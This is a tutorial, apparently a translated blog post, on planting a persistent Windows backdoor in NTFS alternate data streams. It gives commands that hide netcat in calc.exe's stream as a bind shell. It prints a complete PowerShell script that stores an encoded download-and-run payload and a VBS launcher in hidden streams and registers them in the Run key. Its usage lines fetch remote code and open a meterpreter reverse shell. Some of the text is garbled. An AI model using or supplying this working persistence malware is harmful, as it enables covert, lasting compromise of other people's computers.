Create a permanent backdoor using NTFS data streams
NTFS exchange data stream (ADS) is a feature of the NTFS disk format. In the NTFS file system, each file can have multiple data streams, in other words, in addition to the main file stream, many non-main file streams can also be hosted in the main file stream. It uses resource derivation to maintain file-related information. Although we cannot see the data stream file, it actually exists in our system.
If you are still confused after reading it, let's continue.
In operating systems earlier than Windows Vista, NTFS data streams (ads) have always been a place where malware writers are keen to hide their malware.
You can do this to hide your malware:
C:\>type C:\nc.exe > C:\windows\system32\calc.exe:svchost.exeC:\>start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe
The first command of authorization will hide nc.exeto the adsof calc.exe, named svchost.exe. The second command executes nc.exe from the adsof calc.exe.
Microsoft discovered this problem, so after Windows XP, the operating system canceled the function that can run any program from ads. If you want to run a program hidden in ads, you need to use the mklink command to create a link. However, this operation can only be completed with administrator privileges.
Fortunately, I found a method that injects code into ads and can run with common user permissions. I wrote it as a Powershell script:
function Invoke-ADSBackdoor{<#.SYNOPSISPowershell Script that will use Alternate Data Streams to achieve persistenceAuthor: Matt Nelson (@enigma0x3).DESCRIPTIONThis script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by using two Alternate Data Streams. The first Alternate Data stream stores the payloadand the second Alternate Data Stream stores some VBScript that acts as a wrapper in order to hide the DOS prompt when invoking the data stream containing the payload. When passing the arguments, you have to include the function and any parameters required by your payload. The arguments must also be in quotation marks..EXAMPLEPS C:\Users\test\Desktop> Invoke-ADSBackdoor -URL http://192.168.1.138/payload.ps1 -Arguments "hack"This will use the function "Hack" in payload.ps1 for persistence.EXAMPLEPS C:\Users\test\Desktop> Invoke-ADSBackdoor -URL http://192.168.1.138/Invoke-Shellcode.ps1 -Arguments "Invoke-Shellcode -Lhost 192.168.1.138 -LPort 2222 -Payload windows/meterpreter/reverse_https -Force"This will use the function Invoke-Shellcode in Invoke-Shellcode.ps1 to shovel meterpreter back to 192.168.1.138 on port 2222 over HTTPS. .EXAMPLEmeterpreter>shellProcess 4780 created.Channel 1 created.Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.138/Invoke-ADSBackdoor.ps1'); Invoke-ADSBackdoor -URL http://192.168.1.138/Invoke-Shellcode.ps1 -Arguments 'Invoke-Shellcode -LHost 192.168.1.138 -LPort 666 -Payload windows/meterpreter/reverse_https -Force'"This will execute the persistence script using Invoke-Shellcode as the payload from a meterpreter session#>[CmdletBinding()]Param( [Parameter(Mandatory=$True)] [string]$URL, [Parameter(Mandatory=$False)] [String]$Arguments )$TextfileName = [System.IO.Path]::GetRandomFileName() + ".txt"$textFile = $TextfileName -split '\.',([regex]::matches($TextfileName,"\.").count) -join ''$VBSfileName = [System.IO.Path]::GetRandomFileName() + ".vbs"$vbsFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join ''#Store Payload$payloadParameters = "IEX ((New-Object Net.WebClient).DownloadString('$URL')); $Arguments"$encodedPayload = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payloadParameters))$payload = "powershell.exe -ep Bypass -noexit -enc $encodedPayload"#Store VBS Wrapper$vbstext1 = "Dim objShell"$vbstext2 = "Set objShell = WScript.CreateObject(""WScript.Shell"")"$vbstext3 = "command = ""cmd /C for /f """"delims=,"""" %i in ($env:UserProfile\AppData:$textFile) do %i"""$vbstext4 = "objShell.Run command, 0"$vbstext5 = "Set objShell = Nothing"$vbText = $vbstext1 + ":" + $vbstext2 + ":" + $vbstext3 + ":" + $vbstext4 + ":" + $vbstext5#Create Alternate Data Streams for Payload and Wrapper$CreatePayloadADS = {cmd /C "echo $payload > $env:USERPROFILE\AppData:$textFile"}$CreateWrapperADS = {cmd /C "echo $vbtext > $env:USERPROFILE\AppData:$vbsFile"}Invoke-Command -ScriptBlock $CreatePayloadADSInvoke-Command -ScriptBlock $CreateWrapperADS#Persist in Registrynew-itemproperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name Update -PropertyType String -Value "wscript.exe $env:USERPROFILE\AppData:$vbsFile" -ForceWrite-Host "Process Complete. Persistent key is located at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Update"}
This script has two features that penetration testers like very much:
Run as a common user
Extremely concealed
When you control a machine, you can run the script on it. The script has two parameters: URL and-Arguments,
-URL is your payload, and-Arguments is the parameter required by your Payload.
For example,-Arguments "BadFunction-Lhost 192.168.1.11-LPort 3333-Payload weeeeee"
Example: Create a hidden Backdoor
powershell.exe -
exec
bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http:
//192
.168.1.138
/Invoke-ADSBackdoor
.ps1’); Invoke-ADSBackdoor -URL http:
//192
.168.1.138
/Invoke-Shellcode
.ps1 -Arguments ‘Invoke-Shellcode -LHost 192.168.1.138 -LPort 666 -Payload windows
/meterpreter/reverse_https
-Force’”
After you run the script, it will do the following:
Encode your Powershell command and execute payload.
Create an ads under the AppData directory and inject Powershell Payload into it.
Create a vbs script that parses and executes ads content that contains payload.
Create another ads under the AppData directory and inject the vbs script.
Create a key with the update key in the registry HKCU: \ Software \ Microsoft \ Windows \ CurrentVersion \ Run.
After the script is executed, let's take a look at it using dir:
The AppData directory is invisible because the directory is hidden.
Use dir/a to check the AppData directory, but there is no difference.
To see the existing ads, we can use dir/a/r.
. Of course, these names are random.
When the login starts, the key value of the registration table will use wscript.exe to execute the VBS script hidden in ads. After execution, the VBS script parses and executes another payload hidden in the AppData directory. Then a simple shell will appear in our msf!